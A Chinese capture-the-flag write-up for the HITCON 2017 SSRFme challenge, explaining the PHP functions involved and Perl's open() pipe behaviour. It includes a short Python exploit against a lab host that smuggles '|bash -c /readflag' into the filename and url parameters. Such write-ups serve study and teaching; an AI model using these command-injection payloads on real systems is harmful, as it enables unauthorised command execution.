explode()   字符串转数组,用 ,号分隔数组

@mkdir()    创建目录

@chdir()  改变目录    

这两的效果一样,如果在/home/php 目录下,执行mkdir('var') 和chdir('var')的效果是一样的,/home/php/var,不过chdir() 会定位到新建目录,而mkdir()不会

这里是用sandbox/orange178.3.X.X md5加密的  创建目录

shell_exec()   执行shell

escapeshellarg()  1.确保用户只传递一个参数给命令 2.用户不能指定更多的参数一个 3.用户不能执行不同的命令   

这两个结合在一起就是获得更安全get[] 

pathinfo()   以数组的形式返回文件的路径信息

返回的数组元素如下:

  • [dirname]: 目录路径
  • [basename]: 文件名
  • [extension]: 文件后缀名
  • [filename]: 不包含后缀的文件名

实例:

<?php print_r(pathinfo("/testweb/test.txt")); ?>

输出:

Array
(
[dirname] => /testweb
[basename] => test.txt
[extension] => txt
[filename] => test
)

basename()     返回路径名的一部分, 例如:flag.php  返回flag

str_replace()  将目录路径的 '.' 替换成空串

简单说:将dirname创建为目录,并在该目录创建basename文件,并写入url的值

思路也简单,创建一个可执行文件,然后访问

看看exp

import requests

target = "http://1c2c6475-7010-41ad-ace2-503a6d8a8c9f.node3.buuoj.cn"
requests.get(target+"/?url=127.0.0.1&filename=|bash -c /readflag")
requests.get(target+"/?url=file:|bash -c /readflag&filename=1")
print(requests.get(target+"/sandbox/a500c97501fe5e3229ae7f8da4b97f0b/1").text)

使用shell去运行脚本,两种方法 bash xxx.sh,另外一种就是bash -c “cmd string”

第一个payload

Array
(
[dirname] => |bash -c     
[basename] => readflag      
[filename] => readflag
)

第二个payload

Array
(
[dirname] => .    
[basename] => 1    
[filename] => 1
)

师傅的文章都说:

利用了perl的open函数执行命令的特性,open函数的第二个参数可以将文件流用管道重定向到其它地方。比如open(FD,"|id")即可执行id命令。

perl的LWP对于file协议的处理就调用了open函数

不懂....

[HITCON 2017]SSRFme的更多相关文章

  1. Pwn with File结构体(三)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前面介绍了几种 File 结构体的攻击方式,其中包括修改 vtab ...

  2. syscall to rop

    前言 hitcon 2017 的 start 题,比较简单,练练手. 题目链接: https://gitee.com/hac425/blog_data/tree/master/hitcon2017 正 ...

  3. CI Weekly #10 | 2017 DevOps 趋势预测

    2016 年的最后几个工作日,我们对 flow.ci Android & iOS 项目做了一些优化与修复: iOS 镜像 cocoapods 版本更新: fir iOS上传插件时间问题修复: ...

  4. 猖獗的假新闻:2017年1月1日起iOS的APP必须使用HTTPS

    一.假新闻如此猖獗 刚才一位老同事 打电话问:我们公司还是用的HTTP,马上就到2017年了,提交AppStore会被拒绝,怎么办? 公司里已经有很多人问过这个问题,回答一下: HTTP还是可以正常提 ...

  5. iOS的ATS配置 - 2017年前ATS规定的适配

    苹果规定 从2017年1月1日起,新提交的 app 不允许使用NSAllowsArbitraryLoads来绕过ATS(全称:App Transport Security)的限制. 以前为了能兼容ht ...

  6. 深入研究Visual studio 2017 RC新特性

    在[Xamarin+Prism开发详解三:Visual studio 2017 RC初体验]中分享了Visual studio 2017RC的大致情况,同时也发现大家对新的Visual Studio很 ...

  7. Xamarin+Prism开发详解三:Visual studio 2017 RC初体验

    Visual studio 2017 RC出来一段时间了,最近有时间就想安装试试,随带分享一下安装使用体验. 1,卸载visual studio 2015 虽然可以同时安装visual studio ...

  8. Microsoft Visual Studio 2017 for Mac Preview 下载+安装+案例Demo

    目录: 0. 前言 1. 在线安装器 2. 安装VS 3. HelloWorld 4. ASP.NET MVC 5. 软件下载 6. 结尾 0. 前言: 工作原因,上下班背着我的雷神,一个月瘦了10斤 ...

  9. Create an offline installation of Visual Studio 2017 RC

    Create an offline installation of Visual Studio 2017 RC ‎2016‎年‎12‎月‎7‎日                             ...

随机推荐

  1. [HZOI] 山海经 题解

    0.题目大意 给出一个序列,每次查询一个区间的最大子段和的端点和值.序列长度 \(n \le 10^{5}\) . 1.思路 显然应该使用线段树.题目要求每次求一个区间的最大子段和,那么在线段树节点中 ...

  2. JVM 问题分析思路

    1. 前言 工作中有可能遇到 java.lang.OutOfMemoryError: Java heap space 内存溢出异常, 本文提供一些内存溢出的分析及解决问题的思路. 常见异常如下: 20 ...

  3. navicat连接mysql报错1251解决方案

    感谢原文作者:XDMFC 原文链接:https://blog.csdn.net/xdmfc/article/details/80263215 问题描述 今天下了个 MySQL8.0,发现Navicat ...

  4. vue中mapGetters和...mapGetters

    vuex中的...mapGetters(['name'])如何实现的 vuex vue.js 根据文档介绍 https://vuex.vuejs.org/zh-cn/... 和看了 http://ww ...

  5. 【转】zabbix监控mysql

    纯属搬家收藏,原文链接 https://www.cnblogs.com/shenjianyu/p/6627843.html 注意: 1.关注的重点在agent端部分 2.zabbix_get命令没有, ...

  6. 关于viewControllers之间的传值方式

    AViewController----Push----BViewController 1.属性 AViewController---pop----BViewController 1.代理  2.通知  ...

  7. 快速搭建springboot工程

    一.创建SpringBoot的三种方式 在线创建: https://start.spring.io 在IntelliJ IDEA中选择Spring Initializr创建:或者在Eclipse中选择 ...

  8. Azure AD Domain Service(二)为域服务中的机器配置 Azure File Share 磁盘共享

    一,引言 Azure File Share 是支持两种认证方式的! 1)Active Directory 2)Storage account key 记得上次分析的 "Azure File ...

  9. 如何综合运用对称加密技术、非对称加密技术(公钥密码体制)和Hash函数 保证信息的保密性、完整性、可用性和不可否认性?

    一.几个问题 在提出问题之前,先创建一个使用场景,发送方(甲方)要给接收方(乙方)发送投标书.大家知道,投标书都包括发送方的标的,这个标的是不能被竞标者知晓,更不能被竞标者修改的.在传输的投标书时,提 ...

  10. Linux运维-常用操作-培训用例

    一.服务器环境 Centos 7.9 二.常用连接工具(免费) 1.Finalshell 2.MobaXterm 3.Putty + WinSCP 三.Linux  系统目录结构 /bin :是 Bi ...